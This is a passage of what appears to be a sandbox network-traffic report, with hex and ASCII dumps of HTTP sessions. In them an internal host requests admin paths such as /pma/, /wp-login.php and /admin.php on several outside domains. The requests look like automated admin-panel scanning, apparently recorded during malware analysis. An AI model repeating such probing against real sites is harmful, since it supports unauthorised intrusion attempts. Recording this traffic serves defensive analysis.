3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be b3 fd a3 ac d2 d1 b8 fc b8 c4 c3 fb b3 c6 bb f2 d5 df d4 dd ca b1 b2 bb bf c9 d3 c3 a1 a3 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - </h2> <h3></h3> </fields
Dec 2, 2023 18:04:40.426568985 CET	91	IN	Data Raw: 65 74 3e 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: et></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	58368	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.701190948 CET	217	OUT	GET /pma/ HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.033499956 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:40 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	58750	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.761970043 CET	233	OUT	GET /wp-login.php HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.226716042 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:40 GMT Server: Apache Set-Cookie: vsid=928vr449082280872762214; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 Data Ascii: 4b1c<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px
Dec 2, 2023 18:04:41.226736069 CET	1274	IN	Data Raw: 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f Data Ascii: ;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatin
Dec 2, 2023 18:04:41.226752996 CET	1274	IN	Data Raw: 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 Data Ascii: 8psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padd
Dec 2, 2023 18:04:41.226772070 CET	1274	IN	Data Raw: 69 6e 2d 68 65 69 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: in-height:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-siz
Dec 2, 2023 18:04:41.227602959 CET	1274	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 Data Ascii: ttps://www.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="airanatoliava.org expired on and is pend
Dec 2, 2023 18:04:41.227622032 CET	1274	IN	Data Raw: 3a 20 31 20 2f 20 73 70 61 6e 20 32 3b 20 6a 75 73 74 69 66 79 2d 73 65 6c 66 3a 20 65 6e 64 22 3e 0a 20 20 20 20 20 20 20 20 3c 61 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 68 72 65 66 3d 22 2f 2f 61 64 73 2e 6e 65 74 77 6f 72 6b 73 6f Data Ascii: : 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?code=P47C100S1N0B9A1D124E0000V100" class="header-text-color"> Renew Your Domain Now </a> </div> <div style="grid-
Dec 2, 2023 18:04:41.227639914 CET	1274	IN	Data Raw: 77 65 62 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 45 6e 67 6c 69 73 68 2f 4d 53 41 2f 76 31 2e 30 2e 30 2e 33 2f 53 65 72 76 69 63 65 73 41 67 72 65 65 6d 65 6e 74 2e 70 64 66 22 3e 53 65 72 76 69 63 65 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 3c 62 Data Ascii: web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.networksolutions.com/">Legal Notice</a> </div></div><script type="text/javascript" language="JavaScript"> var tcblock = {
Dec 2, 2023 18:04:41.227658033 CET	1274	IN	Data Raw: 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 69 73 41 64 75 6c 74 3d 66 61 6c 73 65 3b 20 20 20 20 20 76 61 72 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 3d 5b 5d 3b 20 20 20 20 20 76 61 72 20 75 6e 69 71 75 65 54 72 61 63 6b 69 6e 67 49 44 3d 27 Data Ascii: vascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4MS4wNTQ5OmQyNzY2OGJiMWJhMTI5NzRhMWRiNDhmYzMwNTAxMzRhNjgwOTliNGJmNmQ2NTUwNjVhMjBkYmZkYTczZWFhMTA6NjU2YjYzYTkwZDY1MA=='; var search=''; var the
Dec 2, 2023 18:04:41.333158016 CET	1274	IN	Data Raw: 2f 3f 74 73 3d 27 2c 0a 20 20 20 20 27 66 6f 6e 74 46 61 6d 69 6c 79 27 3a 20 27 61 72 69 61 6c 27 2c 0a 20 20 20 20 27 6f 70 74 69 6d 69 7a 65 54 65 72 6d 73 27 3a 20 74 72 75 65 2c 0a 20 20 20 20 27 6d 61 78 54 65 72 6d 4c 65 6e 67 74 68 27 3a Data Ascii: /?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'clicktrackUrl': '//' + location.host + '/track.php?', 'attributionText': 'Ads', 'colorAttribution': '#b7b7b7', 'fontSiz
Dec 2, 2023 18:04:41.334039927 CET	1274	IN	Data Raw: 20 61 64 73 4c 6f 61 64 65 64 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 3a 20 69 73 45 78 70 65 72 69 6d 65 6e 74 56 61 72 69 61 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOptions, terms: pageOptions.terms } ajaxQuery( scriptPath + "/track.php"
Dec 2, 2023 18:04:41.334091902 CET	1274	IN	Data Raw: 6f 6e 65 6e 74 28 64 6f 6d 61 69 6e 29 20 2b 20 22 26 63 61 66 3d 31 26 74 6f 67 67 6c 65 3d 65 72 72 6f 72 63 6f 64 65 26 63 6f 64 65 3d 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f Data Ascii: onent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURIComponent(uniqueTrackingID)); if ([18, 19].indexOf(parseInt(status.error_code)) != -1 && fallbackTriggered == false) {
Dec 2, 2023 18:04:41.590207100 CET	316	OUT	GET /wp-admin/ HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip Cookie: vsid=928vr449082280872762214 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://airanatoliava.org/wp-login.php
Dec 2, 2023 18:04:42.055495977 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 62 31 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4c 71 75 44 46 45 54 58 52 6e 30 48 72 30 35 66 55 50 37 45 4a 54 37 37 78 59 6e 50 6d 52 62 70 4d 79 34 76 6b 38 4b 59 69 48 6e 6b 4e 70 65 64 6e 6a 4f 41 4e 4a 63 61 58 44 58 63 4b 51 4a 4e 30 6e 58 4b 5a 4a 4c 37 54 63 69 4a 44 38 41 6f 48 58 4b 31 35 38 43 41 77 45 41 41 51 3d 3d 5f 46 6c 75 4f 75 5a 58 37 63 43 61 78 72 75 52 34 55 39 5a 69 6f 50 75 63 44 49 53 78 58 6e 4d 39 5a 7a 59 57 61 2f 2f 54 6e 30 36 4e 7a 39 53 65 34 39 73 4a 56 70 62 62 2b 44 58 32 38 76 54 42 54 2b 6e 50 32 4d 57 52 62 6a 4c 75 47 69 2f 76 2b 64 65 4c 5a 77 3d 3d 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 69 72 61 6e 61 74 6f 6c 69 61 76 61 2e 6f 72 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 3f 61 62 70 3d 31 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0a 2e 61 73 73 65 74 5f 73 74 61 72 30 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 30 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 31 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 31 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 3a 20 31 33 70 78 3b 0a 09 68 65 69 67 68 74 3a 20 31 32 70 78 3b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 61 73 73 65 74 73 2f 73 74 61 72 48 2e 67 69 66 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 6e 74 65 72 3b 0a 09 77 69 64 74 68 Data Ascii: 4b10<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_FluOuZX7cCaxruR4U9ZioPucDISxXnM9ZzYWa//Tn06Nz9Se49sJVpbb+DX28vTBT+nP2MWRbjLuGi/v+deLZw==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>airanatoliava.org</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	58752	208.91.197.132	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:40.762042999 CET	230	OUT	GET /admin.php HTTP/1.1 Host: airanatoliava.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.190766096 CET	1274	IN	HTTP/1.1 200 OK Date: Sat, 02 Dec 2023 17:04:40 GMT Server: Apache Set-Cookie: vsid=921vr449082280881630147; expires=Thu, 30-Nov-2028 17:04:40 GMT; Max-Age=157680000; path=/; domain=airanatoliava.org; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_MbFVZuTRxZI86nrzzuysB8fnzsJEjn2+NvmHl09PncHdzwxZS1Dg84siEpI/EsJrsKFUGoveciEyXpXlLa5U3g== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 62 32 38 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 6e 69 66 72 61 6d 65 20 3d 20 74 72 75 65 3b 20 69 66 28 21 22 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 22 20 69 6e 20 77 69 6e 64 6f 77 29 7b 77 69 6e 64 6f 77 2e 67 64 70 72 41 70 70 6c 69 65 73 47 6c 6f 62 61 6c 6c 79 3d 74 72 75 65 7d 69 66 28 21 28 22 63 6d 70 5f 69 64 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3c 31 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 69 64 3d 30 7d 69 66 28 21 28 22 